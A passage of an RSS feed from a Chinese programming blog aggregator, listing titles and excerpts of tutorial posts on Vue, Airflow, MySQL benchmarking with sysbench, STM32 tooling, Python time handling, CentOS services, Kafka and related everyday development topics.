response.setDateHeader(&#34;Expires&#34;, 0); InputStream inputStream = null; OutputStream outputStream = null; try { // 自定义模板路径 当时位置为 resources/download.xlsx inputStream = new ClassPathResource(&#34;</description>
    </item>
    <item>
      <title>vue js获取最近1周、最近1个月、最近3个月的日期范围</title>
      <link>https://bchobby.github.io/posts/29886d272e531c77559b861282bd8837/</link>
      <pubDate>Tue, 15 Aug 2023 11:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29886d272e531c77559b861282bd8837/</guid>
      <description>先上效果图：&#xA;一、封装的组件latelyTime.js：&#xA;// 最近1周、最近1月、最近3个月 时分秒为00:00:00 // 明天的时间 var tomorrow = new Date() tomorrow.setTime(tomorrow.getTime() + 24 * 60 * 60 * 1000) var end = tomorrow // 今天的时间 // var end = new Date() var year = end.getFullYear() var month = end.getMonth() + 1 // 0-11表示 1-12月 var day = end.getDate() var dateObj = {} dateObj.start = null dateObj.end = year + &#39;-&#39; + month + &#39;-&#39; + day var endMonthDay = new Date(year, month, 0).</description>
    </item>
    <item>
      <title>airflow的安装</title>
      <link>https://bchobby.github.io/posts/c1da0a430ecad0072dbb5dbf077778d8/</link>
      <pubDate>Tue, 15 Aug 2023 10:16:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1da0a430ecad0072dbb5dbf077778d8/</guid>
      <description>文章目录 前言一、Airflow基本概念1.概念2. 名词 二、Airflow安装1.Airflow官网2.安装python环境3. 安装anaconda34. 创建airflow虚拟环境5. 安装Airflow1. 更改pip源2. 安装airflow3. 初始化airflow4. 查看版本5. 查看airflow安装的路径6.创建账号7. 启动airflow调度8. 启动airflow web 服务, 6. 安装后的细节问题1. 修改数据库为mysql2. 登录mysql, 并进行airflow数据库的相关配置3. 进行airflow的相关配置4. 重新初始化airflow, 启动相关服务5. 重新创建账号登录:6. 启动airflow, 并打开查看 总结 前言 随着任务的增多, 需要顺序的自动执行, 这个时候就需要有一款合适的框架, 对工作流进行执行和监控, 所以在这里选择了airflow的使用.&#xA;一、Airflow基本概念 1.概念 Airflow 是一个以编程方式编写，安排和监视工作流的平台。&#xA;使用 Airflow 将工作流编写任务的有向无环图（DAG）。Airflow 计划程序在遵循指定的依赖项，同时在一组工作线程上执行任务。丰富的命令实用程序使在 DAG 上执行复杂的调度变的轻而易举。丰富的用户界面使查看生产中正在运行的管道，监视进度以及需要时对问题进行故障排除变的容易。&#xA;2. 名词 （1）Dynamic：Airflow 配置需要实用 Python，允许动态生产管道。这允许编写可动态。这允许编写可动态实例化管道的代码。&#xA;（2）Extensible：轻松定义自己的运算符，执行程序并扩展库，使其适合于您的环境。&#xA;（3）Elegant：Airlfow 是精简的，使用功能强大的 Jinja 模板引擎，将脚本参数化内置于 Airflow 的核心中。&#xA;（4）Scalable：Airflow 具有模板块架构，并使用消息队列来安排任意数量的工作任务。&#xA;二、Airflow安装 1.Airflow官网 https://airflow.apache.org&#xA;2.安装python环境 Airflow 是由 Python 语言编写的 Web 应用，要求 Python3.8 的环境。</description>
    </item>
    <item>
      <title>Mysql压力测试（sysbench）</title>
      <link>https://bchobby.github.io/posts/6a8b9e0e4c4b5c93236f02e9209ed3e1/</link>
      <pubDate>Mon, 14 Aug 2023 21:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a8b9e0e4c4b5c93236f02e9209ed3e1/</guid>
      <description>目录&#xA;配置项目环境：&#xA;参考：采用sysbench压测mysql详解_dream21st的博客-CSDN博客&#xA;实验步骤：&#xA;1、安装sysbench工具&#xA;2、在master上创建用户和库，配置用户的权限可以使他可以访问库（Mysql的主从复制）&#xA;3、基于sysbench构造测试表和测试数据&#xA;4、创建我们需要的数据库里的数据&#xA;5、数据库读写性能测试（获取测试数据）&#xA;6、执行完成压测之后可以将run改成cleanup，清除数据&#xA;sysbench工具对Mysql数据库的其他测试代码：&#xA;数据库读性能测试：&#xA;数据库删除性能测试：&#xA;数据库更新索引字段性能测：&#xA;数据库更新非索引字段性能测试：&#xA;数据库插入数据性能测试：&#xA;数据库写性能测试：&#xA;数据库清除创建的测试数据：&#xA;配置项目环境： [root@ab ~]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [root@mysql-1 ~]# mysql --version mysql Ver 14.14 Distrib 5.7.41, for linux-glibc2.12 (x86_64) using EditLine wrapper [root@mysql-1 ~]# 参考：采用sysbench压测mysql详解_dream21st的博客-CSDN博客 实验步骤： 1、安装sysbench工具 [root@ab ~]# yum install epel-release -y [root@ab ~]# yum install sysbench -y 已安装: sysbench.x86_64 0:1.0.17-2.el7 作为依赖被安装: ck.x86_64 0:0.5.2-2.el7 luajit.x86_64 0:2.0.5-1.20220913.46e62cd.el7 postgresql-libs.x86_64 0:9.</description>
    </item>
    <item>
      <title>JS 统计字符串中每个字符出现次数</title>
      <link>https://bchobby.github.io/posts/9d122c83333ca88fbcf5d2508dc6a6a6/</link>
      <pubDate>Mon, 14 Aug 2023 21:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d122c83333ca88fbcf5d2508dc6a6a6/</guid>
      <description>JS 字符串去重方法 新字符串进行遍历去重 var str = &#39;abcabcabcdef&#39; var newStr = &#39;&#39; for (var i = 0; i &amp;lt; str.length; i++) { if (!newStr.includes(str[i])) { newStr += str[i] } } console.log(newStr) 利用对象去重 var str = &#39;abcabcabcdef&#39; var obj = {} for(var i = 0;i&amp;lt;str.length;i++){ obj[str[i]] = str[i] } console.log(obj) var newStr = &#39;&#39; for(var k in obj){ newStr += obj[k] } console.log(newStr) ...........................&#xA;统计每个字符串中每个字符出现的次数 双循环 计数器 默认已经有去重的字符串 使用循环判断字符串每个字符 在原字符串中出现了几次 用计数器进行记录</description>
    </item>
    <item>
      <title>【STM32】高效开发工具CubeMonitor快速上手</title>
      <link>https://bchobby.github.io/posts/de2fea1321ec050a19750a06b97610f7/</link>
      <pubDate>Mon, 14 Aug 2023 21:13:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de2fea1321ec050a19750a06b97610f7/</guid>
      <description>工欲善其事必先利其器。拥有一个辅助测试工具，能极大提高开发项目的效率。STM32CubeMonitor系列工具能够实时读取和呈现其变量，从而在运行时帮助微调和诊断STM32应用，类似于一个简单的示波器。它是一款基于流程的图形化编程工具，类似于LabView或者是Simulink。&#xA;通过此篇博文，可以快速上手STM32CubeMonitor。&#xA;下载链接：&#xA;STM32CubeMonitor - 在运行时测试STM32应用的监控工具 - 意法半导体STMicroelectronics&#xA;注意：1.此工具仅支持通过 ST-LINK 的SWD或者JTAG接口连接到目标MCU，不支持J-LINK。&#xA;2.可以使用多个ST-LINK ，监控多个单片机。&#xA;下载安装完成进入的页面如下图所示：&#xA;使用教学：&#xA;1.采集输出节点，该节点用于配置选择一个仿真器，确定协议类型和频率。通过该节点可以打开和关闭与仿真器的连接。&#xA;2. 采集输入节点，该节点用于配置选择一个仿真器，通过仿真器接收数据，该节点后一般连接一个或者多个processing节点。&#xA;3. 图标节点，用于在图标上显示数据。&#xA;4. 处理节点，用于处理仿真器输入变量组的监测值。能够在变量监测值的基础上进行计算，还能够记录变量数据。&#xA;5. 变量节点，用于定义变量组，可以包含多个变量。变量是来自目标STM32中的全局变量或外设寄存器。&#xA;6. 写入面板节点，是修改变量时的输入组件。&#xA;示例基于项目：项目链接http://链接：https://pan.baidu.com/s/1q08GteijIO-cTTHuP59buA?pwd=1111 提取码：1111&#xA;示例要求：监视项目中的ad1和ad2&#xA;第一步，连接板子，并将程序烧录到开发板中。（使用的板子是正点原子的探索者，并将PA0和PA1分别连接到了5V和GND上，用于进行adc读取。）&#xA;第二步，添加仿真器。&#xA;图中的三角形意味着没有添加过仿真器，双击点开myProbe_Out，添加仿真器并配置协议和采样频率。&#xA;点击后面这个🖊。&#xA;最后点击完成。&#xA;当myProbe_Out上面出现了蓝色的小圆圈代表添加成功。&#xA;myProbe_In也做相同设置，添加仿真器。&#xA;第三步，&#xA;添加想要监视的变量组&#xA;双击myVariables，点击🖊，添加CubeMX生成的.axf文件路径。&#xA;点击右上角更新。&#xA;选择合适的采样频率，然后点击完成，完成变量组添加的设置。&#xA;第四步，对processing进行处理&#xA;双击processing节点，进入配置。&#xA;Log option 用来记录数据到文件中，根据自己需要进行选择。&#xA;Post-processing用来针对当前监视的变量进行处理。&#xA;根据需要进行配置，点击完成，实现配置。&#xA;第五步，完成部署，进行监视&#xA;点击右上角的DEPLOY按钮，然后点击DASHBOARD按钮。&#xA;点击START ，进行数据采集；STOP，数据采集停止；CLEAR，采集的数据清空。&#xA;IMPOART DATA，可以用来导入监测得到的数据。 此上，我们就快速上手了STM32CubeMonitor。但是需要注意的是，如果程序重新编译烧录，变量的地址可能发生变化，需要重新进行配置。</description>
    </item>
    <item>
      <title>记录一个简单的计算校验和函数</title>
      <link>https://bchobby.github.io/posts/7f4b7a0a6e05545a00bbffeb4215aed0/</link>
      <pubDate>Mon, 14 Aug 2023 19:14:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f4b7a0a6e05545a00bbffeb4215aed0/</guid>
      <description> unsigned char CheckSum(unsigned char *uBuff, unsigned char uBuffLen) { unsigned char i,uSum=0; for(i=0;i&amp;lt;uBuffLen;i++) { uSum = uSum + uBuff[i]; } uSum = (~uSum) + 1; return uSum; } </description>
    </item>
    <item>
      <title>关于NodeJs中writeFile保存含有格式的Js文件</title>
      <link>https://bchobby.github.io/posts/e9e9c0ab22b38c74522c0b3d8a1ce8e8/</link>
      <pubDate>Mon, 14 Aug 2023 18:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9e9c0ab22b38c74522c0b3d8a1ce8e8/</guid>
      <description> import fs from &#34;fs&#34;; const mapContent = `export default ${JSON.stringify(xxxxx, null, &#34;\t&#34;)}`; fs.writeFile(&#34;./xxxxx.js&#34;, mapContent, (err) =&amp;gt; { if (err) throw err; console.log(&#34;写入成功&#34;); }); </description>
    </item>
    <item>
      <title>Python-时间</title>
      <link>https://bchobby.github.io/posts/d7c048c7e302d2945b242c90de9955bb/</link>
      <pubDate>Mon, 14 Aug 2023 17:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7c048c7e302d2945b242c90de9955bb/</guid>
      <description>笔记&#xA;目录&#xA;一、获取当前时间&#xA;1.Datetime 模块 2.时间戳与time模块&#xA;二、字符串和时间转换&#xA;三、时间运算&#xA;一、获取当前时间 1.Datetime 模块 Python标准库中包含了datetime模块，该模块提供了非常强大的功能来处理日期和时间。 datatime模块是在time模块的基础上做了封装，提供了更多更好用的类，常用的类有date、time、datetime、timedelta、tzinfo&#xA;date类主要用于处理年、月、日的日期数据；time类主要用于处理时、分、秒的时间数据；datetime类是date类和time类的综合使用，可以处理年、月、日、时、分、秒；timedelta类主要用于做时间的加减运算；tzinfo类是时区类&#xA;方法（属性）说明today()返回当地的日期fromtimestamp(timestamp)根据给定的时间戳，返回本地日期mindate所能表示的最小日期maxdate所能表示的最大日期 此外，常用的类方法包括today、year、month、day、strftime和strptime等。这些函数可以捕获具体的日期数据（例如：年、月、日）、进行日期和时间的加减运算、创建特定形式的日期字符串以及根据日期字符串创建datetime对象&#xA;[例]请利用Python获取当前日期&#xA;关键技术：可以利用datetime模块date类的today()方法将当前日期保存在变量中。 通过使用date.today()，可以创建一个date类对象，其中包含了日期元素，如年、月、日，但不包含时间元素，比如时、分、秒。最后，可以使用year、month和day来捕获具体的日期元素&#xA;import datetime as dt ct=dt.date.today() print(ct) print(ct.year) print(ct.month) print(ct.day) [例]请利用Python获取当前日期和时间&#xA;关键技术：可以利用datetime模块datetime类的today()方法将当前日期和时间保存在变量中。 通过使用datetime.today()，可以创建一个datetime类对象，其中包含了日期元素和时间元素，如年、月、日、时、分、秒。最后，可以使用year、month和day来捕获具体的日期元素，通过hour、minute和second来捕获具体的时间元素&#xA;import datetime as dt ct=dt.datetime.today() print(ct) print(ct.year) print(ct.month) print(ct.day) print(ct.hour) print(ct.minute) print(ct.second) [例]请利用Python获取当前时间 关键技术：可以利用datetime模块datetime类的now()方法将当前日期和时间保存在变量中&#xA;import datetime as dt ct=dt.datetime.now() ct 2.时间戳与time模块 时间戳是以格林威治时间1970年01月01日00时00分00秒为基准计算所经过时间的秒数，是一个浮点数。Python的内置模块time和datetime都可以对时间格式数据进行转换，如时间戳和时间字符串的相互转换&#xA;[例]请利用Python将当前系统时间加盖时间戳，进行转换&#xA;关键技术：可以采用Python的time模块提供的mktime()函数，对数据加盖时间戳。 可以通过time.time()获取到当前的时间，默认是一个时间戳浮点数。也可以通过time.localtime()获取到当前时间的元组，里面分别对应了当前时间的年、月、日、时、分、秒、一周的第几天(周一是0,0-6)、一年的第几天(从1开始，1-366)、夏时令(是夏时令1，不是0，未知-1)&#xA;import time print(time.localtime()) [例]请利用Python将时间戳数据转换成系统时间&#xA;关键技术：可以利用time模块的strftime()函数可以将时间戳转换成系统时间&#xA;import time ct=time.strftime((&#39;%Y-%m-%d %H:%M:%S&#39;),time.localtime(2653967697)) ct 二、字符串和时间转换 [例]请利用Python将字符串&#39;2022-01-15&#39;转换成时间类型的数据格式&#xA;关键技术：在可以用strptime函数将日期字符串转换为datetime数据类型，可以用Pandas的to_datetime()函数将日期字符串转换为datetime数据类型。to_datetime()函数转化后的时间是精准到时分秒精度的 import datetime as dt datestr=&#39;2023-08-28&#39; #strptime dt.</description>
    </item>
    <item>
      <title>centos查看自启动服务</title>
      <link>https://bchobby.github.io/posts/9d0f2322a1bd34946277c4baa7037f22/</link>
      <pubDate>Mon, 14 Aug 2023 16:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d0f2322a1bd34946277c4baa7037f22/</guid>
      <description> 1，查看自启动服务？ systemctl list-unit-files --type service |grep enabled 2，查看某服务的开机启动状态？ systemctl list-unit-files --type service |grep service_name 3，启动（关闭，重启，查看）某个服务？ （centos6系统）：&#xA;service service_name （start|stop|restart|status） （centos7系统）：&#xA;systemctl (start|stop|restart|status) service_name 注：centos7系统兼容centos6的启动命令（即7中可以使用6的命令）。&#xA;4，设置开机启动或者关闭某个服务？ （centos6系统）：&#xA;开机启动：chkconfig --add service_name 或者 chkconfig service_name on 开机关闭：chkconfig --del service_name 或者 chkconfig service_name off （centos7系统）：&#xA;开机启动：systemctl enable service_name 开机关闭：systemctl disable service_name </description>
    </item>
    <item>
      <title>vue.draggable浅尝</title>
      <link>https://bchobby.github.io/posts/39971485f37017b8b224118729d845cd/</link>
      <pubDate>Mon, 14 Aug 2023 15:26:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39971485f37017b8b224118729d845cd/</guid>
      <description>介绍 Vue.Draggable是一款基于Sortable.js实现的vue拖拽插件。支持移动设备、拖拽和选择文本、智能滚动，可以在不同列表间拖拽、不依赖jQuery为基础、vue 2过渡动画兼容、支持撤销操作，总之是一款非常优秀的vue拖拽组件。本篇将介绍如何搭建环境及简单的例子，使用起来特别简单对被拖拽元素也没有CSS样式的特殊要求。&#xA;官方网站 https://github.com/SortableJS/Vue.Draggable&#xA;npm或yarn 安装方式 yarn add vuedraggable&#xA;npm i -S vuedraggable UMD浏览器直接引用JS方式 &amp;lt;script src=&#34;https://www.itxst.com/package/vue/vue.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&#34;https://www.itxst.com/package/sortable/Sortable.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&#34;https://www.itxst.com/package/vuedraggable/vuedraggable.umd.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;属性说明 属性名称说明group :group= &#34;name&#34;，相同的组之间可以相互拖拽&#xA;或者 { name: &#34;...&#34;, pull: [true, false, &#39;clone&#39;, array , function], put: [true, false, array , function] }sort:sort= &#34;true&#34;,是否开启内部排序,如果设置为false,它所在组无法排序，在其他组可以拖动排序delay:delay= &#34;0&#34;, 鼠标按下后多久可以拖拽touchStartThreshold鼠标移动多少px才能拖动元素disabled:disabled= &#34;true&#34;,是否启用拖拽组件animation拖动时的动画效果，还是很酷的,数字类型。如设置animation=1000表示1秒过渡动画效果handle :handle=&#34;.mover&#34; 只有当鼠标移动到css为mover类的元素上才能拖动filter:filter=&#34;.unmover&#34; 设置了unmover样式的元素不允许拖动draggable:draggable=&#34;.item&#34; 那些元素是可以被拖动的ghostClass:ghostClass=&#34;ghostClass&#34; 设置拖动元素的占位符类名,你的自定义样式可能需要加!important才能生效，并把forceFallback属性设置成truechosenClass:ghostClass=&#34;hostClass&#34; 被选中目标的样式，你的自定义样式可能需要加!important才能生效，并把forceFallback属性设置成truedragClass:dragClass=&#34;dragClass&#34;拖动元素的样式，你的自定义样式可能需要加!important才能生效，并把forceFallback属性设置成truedataIdAttrdataIdAttr: &#39;data-id&#39;forceFallback默认false，忽略HTML5的拖拽行为，因为h5里有个属性也是可以拖动，你要自定义ghostClass chosenClass dragClass样式时，建议forceFallback设置为truefallbackClass默认false，克隆的DOM元素的类名allbackOnBody默认false，克隆的元素添加到文档的body中fallbackTolerance拖拽之前应该移动的pxscroll默认true,有滚动区域是否允许拖拽scrollFn滚动回调函数scrollSensitivity距离滚动区域多远时，滚动滚动条scrollSpeed滚动速度 完整例子 html&#xA;&amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;div&amp;gt;{{drag?&#39;拖拽中&#39;:&#39;拖拽停止&#39;}}&amp;lt;/div&amp;gt; &amp;lt;draggable v-model=&#34;myArray&#34; chosen-class=&#34;chosen&#34; force-fallback=&#34;true&#34; group=&#34;people&#34; animation=&#34;1000&#34; @start=&#34;onStart&#34; @end=&#34;onEnd&#34;&amp;gt; &amp;lt;transition-group&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>苍穹外卖项目开发学习中的问题</title>
      <link>https://bchobby.github.io/posts/0edcb88cf88deeb60c1a5b38648efb28/</link>
      <pubDate>Mon, 14 Aug 2023 15:07:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0edcb88cf88deeb60c1a5b38648efb28/</guid>
      <description>1.MD5加密数据库密码 对前端传过来的明文密码加密，调用spring提供的工具类,DigestUtil&#xA;//密码比对 // TODO 后期需要进行md5加密，然后再进行比对 //调用spring提供的工具类 password = DigestUtils.md5DigestAsHex(password.getBytes()); if (!password.equals(employee.getPassword())) { //密码错误 throw new PasswordErrorException(MessageConstant.PASSWORD_ERROR); } 新增功能时，就要将加密后的密码存进数据库!!&#xA;2.前后端分离流程 3.swagger的Knief4j(MVC集成swagger) 介绍：&#xA;使用Swagger你只需要按照它的规范去定义接口及接口相关的信息，就可以做到生成接口文档，以及在线接口调试页面。官网: https://swagger.io/&#xA;Knife4j是为Java MVC框架集成Swagger生成Api文档的增强解决方案&#xA;1.导入Knief4j依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupld&amp;gt;com.github.xiaoymin&amp;lt;/groupld&amp;gt; &amp;lt;artifactld&amp;gt;knife4j-spring-boot-starter&amp;lt;/artifactld&amp;gt; &amp;lt;version&amp;gt;3.0.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.在配置类中添加配置Bean&#xA;/** * 通过knife4j生成接口文档 * @return */ @Bean public Docket docket() { ApiInfo apiInfo = new ApiInfoBuilder() .title(&#34;项目接口文档&#34;) .version(&#34;1.0&#34;) .description(&#34;项目接口文档&#34;) .build(); Docket docket = new Docket(DocumentationType.SWAGGER_2) .apiInfo(apiInfo) .select() .apis(RequestHandlerSelectors.basePackage(&#34;com.sky.controller&#34;)) .paths(PathSelectors.any()) .build(); return docket; } 配置类：继承WebMvcConfigurationSupport类&#xA;3.设置静态资源映射，否则接口文档页面无法访问&#xA;/** * 设置静态资源映射 * @param registry */ protected void addResourceHandlers(ResourceHandlerRegistry registry) { registry.</description>
    </item>
    <item>
      <title>计算机竞赛 opencv 图像识别 指纹识别 - python</title>
      <link>https://bchobby.github.io/posts/2c783526a6dfb39dee831312ade42fba/</link>
      <pubDate>Mon, 14 Aug 2023 13:40:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c783526a6dfb39dee831312ade42fba/</guid>
      <description>0 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 基于机器视觉的指纹识别系统&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：3分创新点：4分 该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;1 课题背景 指纹是指人类手指上的条状纹路, 它们的形成依赖于胚胎发育时的环境。“没有2个完全相同的指纹”这一观点已经得到公认。指纹识别已经有了很长一段历史。&#xA;据考古学家证实:公元前6 000年以前, 指纹作为身份鉴别的工具已经在古叙利亚和中国开始应用。到了20世纪80年代,、光学扫描这2项技术的革新,&#xA;使得它们作为指纹取像的工具成为现实, 从而使指纹识别可以在其他领域中得以应用。&#xA;现在, 随着取像设备的引入及其飞速发展, 生物指纹识别技术的逐渐成熟, 可靠的比对算法的发现都为指纹识别技术提供了更广阔的舞台。&#xA;本项目实现了一种指纹识别系统，通过过滤过程来确定用户指纹是否与注册的指纹匹配。通过过滤技术对捕获的指纹进行处理，以从捕获的图像中去除噪声。去除噪声后的最终结果与注册的指纹进行特征匹配，以确定它们是否相同。&#xA;2 效果展示 3&#xA;3 具体实现 3.1 图像对比过滤 图像融合是一种图像增强方法，这里先融合两个图像便于特征点对比。利用的是opencv封装的函数&#xA;​&#xA;cv2.addWeighted() 相关代码&#xA;​&#xA;def apply_Contrast(img): alpha = 0.5 # assigned weight to the first image beta = 0.5 # assigned weight to the second image img_second = np.zeros(img.shape, img.dtype) # second image, copy of first one contrast = cv2.</description>
    </item>
    <item>
      <title>Windows Hyper-V Ubuntu 22.04 LTS安装</title>
      <link>https://bchobby.github.io/posts/edb68f7c66d5fd53838f09801206dd06/</link>
      <pubDate>Mon, 14 Aug 2023 12:03:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edb68f7c66d5fd53838f09801206dd06/</guid>
      <description>文章目录 Ubuntu准备Hyper-V启用虚拟化支持`services.msc` 打开服务列表，关注Hyper-V服务是否启动打开管理器创建虚拟机 启动备份 Ubuntu 下载Ubuntu-Desktop，这是个iso文件。&#xA;准备 20GB以上的磁盘空间，ubuntu安装后的虚拟磁盘文件超过15GB一个ssh客户端软件用于连接vm Hyper-V 启用虚拟化支持 services.msc 打开服务列表，关注Hyper-V服务是否启动 打开管理器 创建虚拟机 右键管理器》连接到服务器》连接到本地&#xA;快速创建&#xA;用到下载的ubuntu.iso文件来启动安装&#xA;选择本地源》更改安装源，选择iso文件&#xA;确认后如下图&#xA;编辑配置，默认配置&#xA;这个时候是不能从宿主机器访问的，无法通过ssh连接 添加网络适配器&#xA;选择对应的虚拟机右侧的操作【虚拟交换机管理器】，根据需要稍作调整即可&#xA;vlan id 勾选后可能会导致宿主机无法访问网络的情况，且在虚拟机设置页也有vlan id配置。&#xA;手动配置ip&#xA;找到与hyper-v虚拟交换机同名的网络适配器的子网配置，在ubuntu内手动配置&#xA;这样避免虚拟机重启改变ip的麻烦&#xA;启动 启动虚拟机按照提示选择安装模式，之后步骤并根据需要选择自动分配磁盘分区，或手动分区。&#xA;完成安装后会要求重启&#xA;进入系统&#xA;根据配置的用户名、密码进入系统，因为是桌面版本，有图形界面方便操作。net-tools&#xA;ifconfig查看网络ip需要这个软件,sudo apt install net-toolsOpenSSH&#xA;安装openssh，sudo apt install openssh-server，配置文件/etc/ssh/sshd_config，执行sudo systemctl restart sshd.service启动服务，测试ssh客户端是否能正常连接&#xA;安装openssh-server后，启动sshd.service，外部客户端可以连接，可以查看文件，往外拖文件了。&#xA;对宿主机器的影响可参考资源管理器&#xA;vm的工作负载会对宿主机器有直接的影响 备份 常备份vm，环境配置到关键处，导出一份出来，后续需要时可以导入。&#xA;换机器导入没有条件去测试。</description>
    </item>
    <item>
      <title>【Kafka】2.在SpringBoot中使用官方原生java版Kafka客户端</title>
      <link>https://bchobby.github.io/posts/490a29791d8221767194b5a273b307e6/</link>
      <pubDate>Mon, 14 Aug 2023 01:48:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/490a29791d8221767194b5a273b307e6/</guid>
      <description>目 录 1. 新建一个消息生产者2. 新建一个消息消费者3. 测 试 在开始之前，需要先做点准备工作，用 IDEA 新建一个 Maven 项目，取名 kafka-study，然后删掉它的 src 目录，接着在 pom.xml 里面引入下面的依赖。这个项目的作用是作为整个工程的父项目，后面的项目都在此基础上新建 module 即可。&#xA;这里用到的环境信息如下：&#xA;JDK1.8SpringBoot2.7.1IDEAMaven3.6.3 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.1&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;org.yuhuofei&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;kafka-study&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;kafka-study&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Study project for Kafka&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; &amp;lt;/project&amp;gt; 1. 新建一个消息生产者 使用 IDEA 在 kafka-study 的基础上新建一个 Maven 类型的 module ，命名为 producer-01，直至完成。接着，我们改造这个 module ，把它变成我们想要的消息生产者。</description>
    </item>
    <item>
      <title>async 运行多线程时报错RuntimeError: There is no current event loop in thread ‘Thread-2（webui中也遇到）</title>
      <link>https://bchobby.github.io/posts/cb59741f6fb00114a6fde4f8f763a6b0/</link>
      <pubDate>Mon, 14 Aug 2023 00:12:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb59741f6fb00114a6fde4f8f763a6b0/</guid>
      <description>原来使用：&#xA;loop = asyncio.get_event_loop()&#xA;task = asyncio.ensure_future(do_work(checker))&#xA;loop.run_until_complete(asyncio.wait([task]))&#xA;st = task.result()&#xA;添加了&#xA;new_loop = asyncio.new_event_loop()&#xA;asyncio.set_event_loop(new_loop)&#xA;添加后如下：&#xA;new_loop = asyncio.new_event_loop()&#xA;asyncio.set_event_loop(new_loop)&#xA;loop = asyncio.get_event_loop()&#xA;task = asyncio.ensure_future(do_work(checker))&#xA;loop.run_until_complete(asyncio.wait([task]))&#xA;st = task.result()&#xA;然后会报RuntimeError: There is no current event loop in thread &#39;Thread-2&#xA;根本原因在源码中：&#xA;def get_event_loop(self):&#xA;&#34;&#34;&#34;Get the event loop.&#xA;This may be None or an instance of EventLoop.&#xA;&#34;&#34;&#34;&#xA;if (self._local._loop is None and&#xA;not self._local._set_called and&#xA;isinstance(threading.current_thread(), threading._MainThread)):&#xA;self.set_event_loop(self.new_event_loop())</description>
    </item>
    <item>
      <title>Kettle系列（一）下载安装与基础配置</title>
      <link>https://bchobby.github.io/posts/56bcb6a3cbf1885def96b01b8dc38556/</link>
      <pubDate>Sun, 13 Aug 2023 17:54:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56bcb6a3cbf1885def96b01b8dc38556/</guid>
